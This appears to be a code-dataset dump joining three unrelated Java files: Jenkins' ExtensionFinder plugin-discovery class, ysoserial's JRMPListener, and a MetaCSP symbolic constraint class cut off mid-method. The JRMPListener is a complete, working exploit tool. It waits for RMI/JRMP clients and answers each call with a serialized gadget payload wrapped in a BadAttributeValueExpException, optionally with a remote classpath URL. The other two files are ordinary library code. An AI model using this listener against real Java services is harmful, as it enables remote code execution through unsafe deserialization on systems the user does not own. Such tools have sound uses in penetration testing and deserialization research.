gt stringclasses 1 value | context stringlengths 2.05k 161k |
|---|---|
/*
* The MIT License
*
* Copyright (c) 2004-2010, Sun Microsystems, Inc., InfraDNA, Inc., CloudBees, Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package hudson;
import com.google.common.collect.Iterables;
import com.google.common.collect.Lists;
import com.google.common.collect.Maps;
import com.google.inject.AbstractModule;
import com.google.inject.Binding;
import com.google.inject.Guice;
import com.google.inject.Injector;
import com.google.inject.Key;
import com.google.inject.Module;
import com.google.inject.Provider;
import com.google.inject.Scope;
import com.google.inject.Scopes;
import com.google.inject.name.Names;
import com.google.common.collect.ImmutableList;
import hudson.model.Descriptor;
import hudson.model.Hudson;
import jenkins.ExtensionComponentSet;
import jenkins.ExtensionFilter;
import jenkins.ExtensionRefreshException;
import jenkins.ProxyInjector;
import jenkins.model.Jenkins;
import net.java.sezpoz.Index;
import net.java.sezpoz.IndexItem;
import org.kohsuke.accmod.Restricted;
import org.kohsuke.accmod.restrictions.NoExternalUse;
import java.lang.annotation.Annotation;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import java.util.logging.Logger;
import java.util.logging.Level;
import java.util.List;
import java.util.ArrayList;
import java.util.Collection;
import java.lang.reflect.AnnotatedElement;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* Discovers the implementations of an extension point.
*
* <p>
* This extension point allows you to write your implementations of {@link ExtensionPoint}s
* in arbitrary DI containers, and have Hudson discover them.
*
* <p>
* {@link ExtensionFinder} itself is an extension point, but to avoid infinite recursion,
* Jenkins discovers {@link ExtensionFinder}s through {@link Sezpoz} and that alone.
*
* @author Kohsuke Kawaguchi
* @since 1.286
* @see ExtensionFilter
*/
public abstract class ExtensionFinder implements ExtensionPoint {
/**
* @deprecated as of 1.356
* Use and implement {@link #find(Class,Hudson)} that allows us to put some metadata.
*/
@Restricted(NoExternalUse.class)
@Deprecated
public <T> Collection<T> findExtensions(Class<T> type, Hudson hudson) {
return Collections.emptyList();
}
/**
* Returns true if this extension finder supports the {@link #refresh()} operation.
*/
public boolean isRefreshable() {
try {
return getClass().getMethod("refresh").getDeclaringClass()!=ExtensionFinder.class;
} catch (NoSuchMethodException e) {
return false;
}
}
/**
* Rebuilds the internal index, if any, so that future {@link #find(Class, Hudson)} calls
* will discover components newly added to {@link PluginManager#uberClassLoader}.
*
* <p>
* The point of the refresh operation is not to disrupt instances of already loaded {@link ExtensionComponent}s,
* and only instantiate those that are new. Otherwise this will break the singleton semantics of various
* objects, such as {@link Descriptor}s.
*
* <p>
* The behaviour is undefined if {@link #isRefreshable()} is returning false.
*
* @since 1.442
* @see #isRefreshable()
* @return never null
*/
public abstract ExtensionComponentSet refresh() throws ExtensionRefreshException;
/**
* Discover extensions of the given type.
*
* <p>
* This method is called only once per the given type after all the plugins are loaded,
* so implementations need not worry about caching.
*
* <p>
* This method should return all the known components at the time of the call, including
* those that are discovered later via {@link #refresh()}, even though those components
* are separately returned in {@link ExtensionComponentSet}.
*
* @param <T>
* The type of the extension points. This is not bound to {@link ExtensionPoint} because
* of {@link Descriptor}, which by itself doesn't implement {@link ExtensionPoint} for
* a historical reason.
* @param jenkins
* Jenkins whose behalf this extension finder is performing lookup.
* @return
* Can be empty but never null.
* @since 1.356
* Older implementations provide {@link #findExtensions(Class,Hudson)}
*/
public abstract <T> Collection<ExtensionComponent<T>> find(Class<T> type, Hudson jenkins);
@Deprecated
public <T> Collection<ExtensionComponent<T>> _find(Class<T> type, Hudson hudson) {
return find(type, hudson);
}
/**
* Performs class initializations without creating instances.
*
* If two threads try to initialize classes in the opposite order, a dead lock will ensue,
* and we can get into a similar situation with {@link ExtensionFinder}s.
*
* <p>
* That is, one thread can try to list extensions, which results in {@link ExtensionFinder}
* loading and initializing classes. This happens inside a context of a lock, so that
* another thread that tries to list the same extensions don't end up creating different
* extension instances. So this activity locks extension list first, then class initialization next.
*
* <p>
* In the mean time, another thread can load and initialize a class, and that initialization
* can eventually results in listing up extensions, for example through static initializer.
* Such activity locks class initialization first, then locks extension list.
*
* <p>
* This inconsistent locking order results in a dead lock, you see.
*
* <p>
* So to reduce the likelihood, this method is called in prior to {@link #find(Class,Hudson)} invocation,
* but from outside the lock. The implementation is expected to perform all the class initialization activities
* from here.
*
* <p>
* See http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=6459208 for how to force a class initialization.
* Also see http://kohsuke.org/2010/09/01/deadlock-that-you-cant-avoid/ for how class initialization
* can results in a dead lock.
*/
public void scout(Class extensionType, Hudson hudson) {
}
@Extension
public static final class DefaultGuiceExtensionAnnotation extends GuiceExtensionAnnotation<Extension> {
public DefaultGuiceExtensionAnnotation() {
super(Extension.class);
}
@Override
protected boolean isOptional(Extension annotation) {
return annotation.optional();
}
@Override
protected double getOrdinal(Extension annotation) {
return annotation.ordinal();
}
@Override
protected boolean isActive(AnnotatedElement e) {
return true;
}
}
/**
* Captures information about the annotation that we use to mark Guice-instantiated components.
*/
public static abstract class GuiceExtensionAnnotation<T extends Annotation> {
public final Class<T> annotationType;
protected GuiceExtensionAnnotation(Class<T> annotationType) {
this.annotationType = annotationType;
}
protected abstract double getOrdinal(T annotation);
/**
* Hook to enable subtypes to control which ones to pick up and which ones to ignore.
*/
protected abstract boolean isActive(AnnotatedElement e);
protected abstract boolean isOptional(T annotation);
}
/**
* Discovers components via sezpoz but instantiates them by using Guice.
*/
@Extension
public static class GuiceFinder extends ExtensionFinder {
/**
* Injector that we find components from.
* <p>
* To support refresh when Guice doesn't let us alter the bindings, we'll create
* a child container to house newly discovered components. This field points to the
* youngest such container.
*/
private volatile Injector container;
/**
* Sezpoz index we are currently using in {@link #container} (and its ancestors.)
* Needed to compute delta.
*/
private List<IndexItem<?,Object>> sezpozIndex;
private final Map<Key,Annotation> annotations = new HashMap<Key,Annotation>();
private final Sezpoz moduleFinder = new Sezpoz();
/**
* Map from {@link GuiceExtensionAnnotation#annotationType} to {@link GuiceExtensionAnnotation}
*/
private Map<Class<? extends Annotation>,GuiceExtensionAnnotation<?>> extensionAnnotations = Maps.newHashMap();
public GuiceFinder() {
for (ExtensionComponent<GuiceExtensionAnnotation> ec : moduleFinder.find(GuiceExtensionAnnotation.class, Hudson.getInstance())) {
GuiceExtensionAnnotation gea = ec.getInstance();
extensionAnnotations.put(gea.annotationType,gea);
}
sezpozIndex = loadSezpozIndices(Jenkins.getInstance().getPluginManager().uberClassLoader);
List<Module> modules = new ArrayList<Module>();
modules.add(new AbstractModule() {
@Override
protected void configure() {
Jenkins j = Jenkins.getInstance();
bind(Jenkins.class).toInstance(j);
bind(PluginManager.class).toInstance(j.getPluginManager());
}
});
modules.add(new SezpozModule(sezpozIndex));
for (ExtensionComponent<Module> ec : moduleFinder.find(Module.class, Hudson.getInstance())) {
modules.add(ec.getInstance());
}
try {
container = Guice.createInjector(modules);
} catch (Throwable e) {
LOGGER.log(Level.SEVERE, "Failed to create Guice container from all the plugins",e);
// failing to load all bindings are disastrous, so recover by creating minimum that works
// by just including the core
// TODO this recovery is pretty much useless; startup crashes anyway
container = Guice.createInjector(new SezpozModule(loadSezpozIndices(Jenkins.class.getClassLoader())));
}
// expose Injector via lookup mechanism for interop with non-Guice clients
Jenkins.getInstance().lookup.set(Injector.class,new ProxyInjector() {
protected Injector resolve() {
return getContainer();
}
});
}
private ImmutableList<IndexItem<?, Object>> loadSezpozIndices(ClassLoader classLoader) {
List<IndexItem<?,Object>> indices = Lists.newArrayList();
for (GuiceExtensionAnnotation<?> gea : extensionAnnotations.values()) {
Iterables.addAll(indices, Index.load(gea.annotationType, Object.class, classLoader));
}
return ImmutableList.copyOf(indices);
}
public Injector getContainer() {
return container;
}
/**
* The basic idea is:
*
* <ul>
* <li>List up delta as a series of modules
* <li>
* </ul>
*/
@Override
public synchronized ExtensionComponentSet refresh() throws ExtensionRefreshException {
// figure out newly discovered sezpoz components
List<IndexItem<?, Object>> delta = Lists.newArrayList();
for (Class<? extends Annotation> annotationType : extensionAnnotations.keySet()) {
delta.addAll(Sezpoz.listDelta(annotationType,sezpozIndex));
}
List<IndexItem<?, Object>> l = Lists.newArrayList(sezpozIndex);
l.addAll(delta);
sezpozIndex = l;
List<Module> modules = new ArrayList<Module>();
modules.add(new SezpozModule(delta));
for (ExtensionComponent<Module> ec : moduleFinder.refresh().find(Module.class)) {
modules.add(ec.getInstance());
}
try {
final Injector child = container.createChildInjector(modules);
container = child;
return new ExtensionComponentSet() {
@Override
public <T> Collection<ExtensionComponent<T>> find(Class<T> type) {
List<ExtensionComponent<T>> result = new ArrayList<ExtensionComponent<T>>();
_find(type, result, child);
return result;
}
};
} catch (Throwable e) {
LOGGER.log(Level.SEVERE, "Failed to create Guice container from newly added plugins",e);
throw new ExtensionRefreshException(e);
}
}
private Object instantiate(IndexItem<?,Object> item) {
try {
return item.instance();
} catch (LinkageError e) {
// sometimes the instantiation fails in an indirect classloading failure,
// which results in a LinkageError
LOGGER.log(isOptional(item.annotation()) ? Level.FINE : Level.WARNING,
"Failed to load "+item.className(), e);
} catch (Exception e) {
LOGGER.log(isOptional(item.annotation()) ? Level.FINE : Level.WARNING,
"Failed to load "+item.className(), e);
}
return null;
}
private boolean isOptional(Annotation annotation) {
GuiceExtensionAnnotation gea = extensionAnnotations.get(annotation.annotationType());
return gea.isOptional(annotation);
}
private boolean isActive(Annotation annotation, AnnotatedElement e) {
GuiceExtensionAnnotation gea = extensionAnnotations.get(annotation.annotationType());
return gea.isActive(e);
}
public <U> Collection<ExtensionComponent<U>> find(Class<U> type, Hudson jenkins) {
// the find method contract requires us to traverse all known components
List<ExtensionComponent<U>> result = new ArrayList<ExtensionComponent<U>>();
for (Injector i=container; i!=null; i=i.getParent()) {
_find(type, result, i);
}
return result;
}
private <U> void _find(Class<U> type, List<ExtensionComponent<U>> result, Injector container) {
for (Entry<Key<?>, Binding<?>> e : container.getBindings().entrySet()) {
if (type.isAssignableFrom(e.getKey().getTypeLiteral().getRawType())) {
Annotation a = annotations.get(e.getKey());
Object o = e.getValue().getProvider().get();
if (o!=null) {
GuiceExtensionAnnotation gea = a!=null ? extensionAnnotations.get(a.annotationType()) : null;
result.add(new ExtensionComponent<U>(type.cast(o),gea!=null?gea.getOrdinal(a):0));
}
}
}
}
/**
* TODO: need to learn more about concurrent access to {@link Injector} and how it interacts
* with classloading.
*/
@Override
public void scout(Class extensionType, Hudson hudson) {
}
/**
* {@link Scope} that allows a failure to create a component,
* and change the value to null.
*
* <p>
* This is necessary as a failure to load one plugin shouldn't fail the startup of the entire Jenkins.
* Instead, we should just drop the failing plugins.
*/
public static final Scope FAULT_TOLERANT_SCOPE = new FaultTolerantScope(true);
private static final Scope QUIET_FAULT_TOLERANT_SCOPE = new FaultTolerantScope(false);
private static final class FaultTolerantScope implements Scope {
private final boolean verbose;
FaultTolerantScope(boolean verbose) {
this.verbose = verbose;
}
public <T> Provider<T> scope(final Key<T> key, final Provider<T> unscoped) {
final Provider<T> base = Scopes.SINGLETON.scope(key,unscoped);
return new Provider<T>() {
public T get() {
try {
return base.get();
} catch (Exception e) {
error(key, e);
return null;
} catch (LinkageError e) {
error(key, e);
return null;
}
}
void error(Key<T> key, Throwable x) {
if (verbose) {
LOGGER.log(Level.WARNING, "Failed to instantiate " + key + "; skipping this component", x);
} else {
LOGGER.log(Level.WARNING, "Failed to instantiate optional component {0}; skipping", key.getTypeLiteral());
LOGGER.log(Level.FINE, key.toString(), x);
}
}
};
}
};
private static final Logger LOGGER = Logger.getLogger(GuiceFinder.class.getName());
/**
* {@link Module} that finds components via sezpoz index.
* Instead of using SezPoz to instantiate, we'll instantiate them by using Guice,
* so that we can take advantage of dependency injection.
*/
private class SezpozModule extends AbstractModule {
private final List<IndexItem<?,Object>> index;
public SezpozModule(List<IndexItem<?,Object>> index) {
this.index = index;
}
/**
* Guice performs various reflection operations on the class to figure out the dependency graph,
* and that process can cause additional classloading problems, which will fail the injector creation,
* which in turn has disastrous effect on the startup.
*
* <p>
* Ultimately I'd like to isolate problems to plugins and selectively disable them, allowing
* Jenkins to start with plugins that work, but I haven't figured out how.
*
* So this is an attempt to detect subset of problems eagerly, by invoking various reflection
* operations and try to find non-existent classes early.
*/
private void resolve(Class c) {
try {
c.getGenericSuperclass();
c.getGenericInterfaces();
ClassLoader ecl = c.getClassLoader();
Method m = ClassLoader.class.getDeclaredMethod("resolveClass", Class.class);
m.setAccessible(true);
m.invoke(ecl, c);
c.getConstructors();
c.getMethods();
c.getFields();
LOGGER.log(Level.FINER, "{0} looks OK", c);
while (c != Object.class) {
c.getGenericSuperclass();
c = c.getSuperclass();
}
} catch (Exception x) {
throw (LinkageError)new LinkageError("Failed to resolve "+c).initCause(x);
}
}
@SuppressWarnings({"unchecked", "ChainOfInstanceofChecks"})
@Override
protected void configure() {
int id=0;
for (final IndexItem<?,Object> item : index) {
id++;
boolean optional = isOptional(item.annotation());
try {
AnnotatedElement e = item.element();
Annotation a = item.annotation();
if (!isActive(a,e)) continue;
Scope scope = optional ? QUIET_FAULT_TOLERANT_SCOPE : FAULT_TOLERANT_SCOPE;
if (e instanceof Class) {
Key key = Key.get((Class)e);
resolve((Class)e);
annotations.put(key,a);
bind(key).in(scope);
} else {
Class extType;
if (e instanceof Field) {
extType = ((Field)e).getType();
} else
if (e instanceof Method) {
extType = ((Method)e).getReturnType();
} else
throw new AssertionError();
resolve(extType);
// use arbitrary id to make unique key, because Guice wants that.
Key key = Key.get(extType, Names.named(String.valueOf(id)));
annotations.put(key,a);
bind(key).toProvider(new Provider() {
public Object get() {
return instantiate(item);
}
}).in(scope);
}
} catch (LinkageError e) {
// sometimes the instantiation fails in an indirect classloading failure,
// which results in a LinkageError
LOGGER.log(optional ? Level.FINE : Level.WARNING,
"Failed to load "+item.className(), e);
} catch (Exception e) {
LOGGER.log(optional ? Level.FINE : Level.WARNING,
"Failed to load "+item.className(), e);
}
}
}
}
}
/**
* The bootstrap implementation that looks for the {@link Extension} marker.
*
* <p>
* Uses Sezpoz as the underlying mechanism.
*/
public static final class Sezpoz extends ExtensionFinder {
private volatile List<IndexItem<Extension,Object>> indices;
/**
* Loads indices (ideally once but as few times as possible), then reuse them later.
* {@link ExtensionList#ensureLoaded()} guarantees that this method won't be called until
* {@link InitMilestone#PLUGINS_PREPARED} is attained, so this method is guaranteed to
* see all the classes and indices.
*/
private List<IndexItem<Extension,Object>> getIndices() {
// this method cannot be synchronized because of a dead lock possibility in the following order of events:
// 1. thread X can start listing indices, locking this object 'SZ'
// 2. thread Y starts loading a class, locking a classloader 'CL'
// 3. thread X needs to load a class, now blocked on CL
// 4. thread Y decides to load extensions, now blocked on SZ.
// 5. dead lock
if (indices==null) {
ClassLoader cl = Jenkins.getInstance().getPluginManager().uberClassLoader;
indices = ImmutableList.copyOf(Index.load(Extension.class, Object.class, cl));
}
return indices;
}
/**
* {@inheritDoc}
*
* <p>
* SezPoz implements value-equality of {@link IndexItem}, so
*/
@Override
public synchronized ExtensionComponentSet refresh() {
final List<IndexItem<Extension,Object>> old = indices;
if (old==null) return ExtensionComponentSet.EMPTY; // we haven't loaded anything
final List<IndexItem<Extension, Object>> delta = listDelta(Extension.class,old);
List<IndexItem<Extension,Object>> r = Lists.newArrayList(old);
r.addAll(delta);
indices = ImmutableList.copyOf(r);
return new ExtensionComponentSet() {
@Override
public <T> Collection<ExtensionComponent<T>> find(Class<T> type) {
return _find(type,delta);
}
};
}
static <T extends Annotation> List<IndexItem<T,Object>> listDelta(Class<T> annotationType, List<? extends IndexItem<?,Object>> old) {
// list up newly discovered components
final List<IndexItem<T,Object>> delta = Lists.newArrayList();
ClassLoader cl = Jenkins.getInstance().getPluginManager().uberClassLoader;
for (IndexItem<T,Object> ii : Index.load(annotationType, Object.class, cl)) {
if (!old.contains(ii)) {
delta.add(ii);
}
}
return delta;
}
public <T> Collection<ExtensionComponent<T>> find(Class<T> type, Hudson jenkins) {
return _find(type,getIndices());
}
/**
* Finds all the matching {@link IndexItem}s that match the given type and instantiate them.
*/
private <T> Collection<ExtensionComponent<T>> _find(Class<T> type, List<IndexItem<Extension,Object>> indices) {
List<ExtensionComponent<T>> result = new ArrayList<ExtensionComponent<T>>();
for (IndexItem<Extension,Object> item : indices) {
try {
AnnotatedElement e = item.element();
Class<?> extType;
if (e instanceof Class) {
extType = (Class) e;
} else
if (e instanceof Field) {
extType = ((Field)e).getType();
} else
if (e instanceof Method) {
extType = ((Method)e).getReturnType();
} else
throw new AssertionError();
if(type.isAssignableFrom(extType)) {
Object instance = item.instance();
if(instance!=null)
result.add(new ExtensionComponent<T>(type.cast(instance),item.annotation()));
}
} catch (LinkageError e) {
// sometimes the instantiation fails in an indirect classloading failure,
// which results in a LinkageError
LOGGER.log(logLevel(item), "Failed to load "+item.className(), e);
} catch (Exception e) {
LOGGER.log(logLevel(item), "Failed to load "+item.className(), e);
}
}
return result;
}
@Override
public void scout(Class extensionType, Hudson hudson) {
for (IndexItem<Extension,Object> item : getIndices()) {
try {
// we might end up having multiple threads concurrently calling into element(),
// but we can't synchronize this --- if we do, the one thread that's supposed to load a class
// can block while other threads wait for the entry into the element call().
// looking at the sezpoz code, it should be safe to do so
AnnotatedElement e = item.element();
Class<?> extType;
if (e instanceof Class) {
extType = (Class) e;
} else
if (e instanceof Field) {
extType = ((Field)e).getType();
} else
if (e instanceof Method) {
extType = ((Method)e).getReturnType();
} else
throw new AssertionError();
// according to http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=6459208
// this appears to be the only way to force a class initialization
Class.forName(extType.getName(),true,extType.getClassLoader());
} catch (Exception e) {
LOGGER.log(logLevel(item), "Failed to scout "+item.className(), e);
} catch (LinkageError e) {
LOGGER.log(logLevel(item), "Failed to scout "+item.className(), e);
}
}
}
private Level logLevel(IndexItem<Extension, Object> item) {
return item.annotation().optional() ? Level.FINE : Level.WARNING;
}
}
private static final Logger LOGGER = Logger.getLogger(ExtensionFinder.class.getName());
}
| |
package ysoserial.exploit;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.OutputStream;
import java.io.Serializable;
import java.net.InetSocketAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
import java.net.URL;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import sun.rmi.transport.TransportConstants;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Reflections;
/**
* Generic JRMP listener
*
* Opens up an JRMP listener that will deliver the specified payload to any
* client connecting to it and making a call.
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"restriction"
} )
public class JRMPListener implements Runnable {
private int port;
private Object payloadObject;
private ServerSocket ss;
private Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
private URL classpathUrl;
public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException {
this.port = port;
this.payloadObject = payloadObject;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public JRMPListener (int port, String className, URL classpathUrl) throws IOException {
this.port = port;
this.payloadObject = makeDummyObject(className);
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}
public boolean waitFor ( int i ) {
try {
if ( this.hadConnection ) {
return true;
}
System.err.println("Waiting for connection");
synchronized ( this.waitLock ) {
this.waitLock.wait(i);
}
return this.hadConnection;
}
catch ( InterruptedException e ) {
return false;
}
}
/**
*
*/
public void close () {
this.exit = true;
try {
this.ss.close();
}
catch ( IOException e ) {}
synchronized ( this.waitLock ) {
this.waitLock.notify();
}
}
public static final void main ( final String[] args ) {
if ( args.length < 3 ) {
System.err.println(JRMPListener.class.getName() + " <port> <payload_type> <payload_arg>");
System.exit(-1);
return;
}
final Object payloadObject = Utils.makePayloadObject(args[ 1 ], args[ 2 ]);
try {
int port = Integer.parseInt(args[ 0 ]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject);
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
Utils.releasePayload(args[1], payloadObject);
}
public void run () {
try {
Socket s = null;
try {
while ( !this.exit && ( s = this.ss.accept() ) != null ) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.err.println("Have connection from " + remote);
InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
// Read magic (or HTTP wrapper)
bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn);
int magic = in.readInt();
short version = in.readShort();
if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {
s.close();
continue;
}
OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut);
byte protocol = in.readByte();
switch ( protocol ) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
if ( remote.getHostName() != null ) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out, this.payloadObject);
break;
default:
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();
continue;
}
bufOut.flush();
out.flush();
}
catch ( InterruptedException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
finally {
System.err.println("Closing connection");
s.close();
}
}
}
finally {
if ( s != null ) {
s.close();
}
if ( this.ss != null ) {
this.ss.close();
}
}
}
catch ( SocketException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
}
private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
System.err.println("Reading message...");
int op = in.read();
switch ( op ) {
case TransportConstants.Call:
// service incoming RMI call
doCall(in, out, payload);
break;
case TransportConstants.Ping:
// send ack for ping
out.writeByte(TransportConstants.PingAck);
break;
case TransportConstants.DGCAck:
UID u = UID.read(in);
break;
default:
throw new IOException("unknown transport op " + op);
}
s.close();
}
private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {
@Override
protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ( "java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
}
throw new IOException("Not allowed to read object");
}
};
ObjID read;
try {
read = ObjID.read(ois);
}
catch ( java.io.IOException e ) {
throw new MarshalException("unable to read objID", e);
}
if ( read.hashCode() == 2 ) {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject()));
}
System.err.println("Sending return with payload for obj " + read);
out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val", payload);
oos.writeObject(ex);
oos.flush();
out.flush();
this.hadConnection = true;
synchronized ( this.waitLock ) {
this.waitLock.notifyAll();
}
}
@SuppressWarnings({"deprecation"})
protected static Object makeDummyObject (String className) {
try {
ClassLoader isolation = new ClassLoader() {};
ClassPool cp = new ClassPool();
cp.insertClassPath(new ClassClassPath(Dummy.class));
CtClass clazz = cp.get(Dummy.class.getName());
clazz.setName(className);
return clazz.toClass(isolation).newInstance();
}
catch ( Exception e ) {
e.printStackTrace();
return new byte[0];
}
}
public static class Dummy implements Serializable {
private static final long serialVersionUID = 1L;
}
}
| |
/*******************************************************************************
* Copyright (c) 2010-2013 Federico Pecora <federico.pecora@oru.se>
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
* LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
* OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
* WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
******************************************************************************/
package org.metacsp.multi.symbols;
import java.util.Arrays;
import java.util.Vector;
import java.util.logging.Logger;
import org.metacsp.booleanSAT.BooleanConstraint;
import org.metacsp.booleanSAT.BooleanVariable;
import org.metacsp.framework.Constraint;
import org.metacsp.framework.ConstraintSolver;
import org.metacsp.framework.Variable;
import org.metacsp.framework.multi.MultiConstraint;
import org.metacsp.framework.multi.MultiConstraintSolver;
import org.metacsp.throwables.NoSymbolsException;
import org.metacsp.throwables.WrongSymbolListException;
import org.metacsp.utility.logging.MetaCSPLogging;
public class SymbolicValueConstraint extends MultiConstraint {
/**
*
*/
private static final long serialVersionUID = -4010342193923812891L;
public static enum Type {EQUALS, DIFFERENT, VALUEEQUALS, VALUEDIFFERENT, VALUESUBSET, CONTAINS};
private Type type;
private boolean[] unaryValue = null;
private String[] unaryValueStrings = null;
public SymbolicValueConstraint(Type type) {
this.type = type;
}
@Deprecated
public void setUnaryValue(boolean[] unaryValue) {
this.unaryValue = unaryValue;
}
public String[] getValue() {
return this.unaryValueStrings;
}
public void setValue(boolean[] unaryValue) {
this.unaryValue = unaryValue;
}
public void setValue(String... symbols) {
this.unaryValueStrings = symbols;
}
private void createUnaryValueFromStrings() {
SymbolicVariableConstraintSolver svcs = (SymbolicVariableConstraintSolver)MultiConstraintSolver.getConstraintSolver(this.scope[0].getConstraintSolver(), SymbolicVariableConstraintSolver.class);
if (svcs != null) {
String[] vocabulary = svcs.getSymbols();
unaryValue = new boolean[vocabulary.length];
for (int i = 0; i < vocabulary.length; i++) {
boolean found = false;
for (String s : this.unaryValueStrings) {
if (vocabulary[i].equals(s)) {
found = true;
break;
}
}
if (found) unaryValue[i] = true;
else unaryValue[i] = false;
}
}
}
private void createStringsFromUnaryValue() {
SymbolicVariableConstraintSolver svcs = (SymbolicVariableConstraintSolver)MultiConstraintSolver.getConstraintSolver(this.scope[0].getConstraintSolver(), SymbolicVariableConstraintSolver.class);
if (svcs != null) {
String[] vocabulary = svcs.getSymbols();
Vector<String> unaryValueStringV = new Vector<String>();
for (int i = 0; i < vocabulary.length; i++) if (this.unaryValue[i]) unaryValueStringV.add(vocabulary[i]);
this.unaryValueStrings = unaryValueStringV.toArray(new String[unaryValueStringV.size()]);
}
}
private Constraint[] createInternalBinaryConstraints(Variable f, Variable t) {
if (!(f instanceof SymbolicVariable) || !(t instanceof SymbolicVariable)) return null;
SymbolicVariable svFrom = ((SymbolicVariable)f);
Variable[] internalVarsFrom = svFrom.getInternalVariables();
if (((SymbolicVariableConstraintSolver)svFrom.getConstraintSolver()).getSymbols().length == 0)
throw new NoSymbolsException(svFrom);
SymbolicVariable svTo = ((SymbolicVariable)t);
Variable[] internalVarsTo = svTo.getInternalVariables();
if (this.type.equals(Type.EQUALS)) {
BooleanVariable[] scope = new BooleanVariable[internalVarsFrom.length*2];
String wff = "";
for (int i = 0; i < internalVarsFrom.length*2; i+=2) {
scope[i] = ((BooleanVariable)internalVarsFrom[i/2]);
scope[i+1] = ((BooleanVariable)internalVarsTo[i/2]);
if (i != 0) wff = "(" + wff + (" ^ (w" + (i+1) + " <-> w" + (i+2) + ")") + ")";
else wff = ("(w" + (i+1) + " <-> w" + (i+2) + ")");
}
logger.finest("Generated WFF for EQUALS constraint: " + wff);
logger.finest("\tscope: " + Arrays.toString(scope));
BooleanConstraint[] cons = BooleanConstraint.createBooleanConstraints(scope, wff);
return cons;
}
else if (this.type.equals(Type.CONTAINS)) {
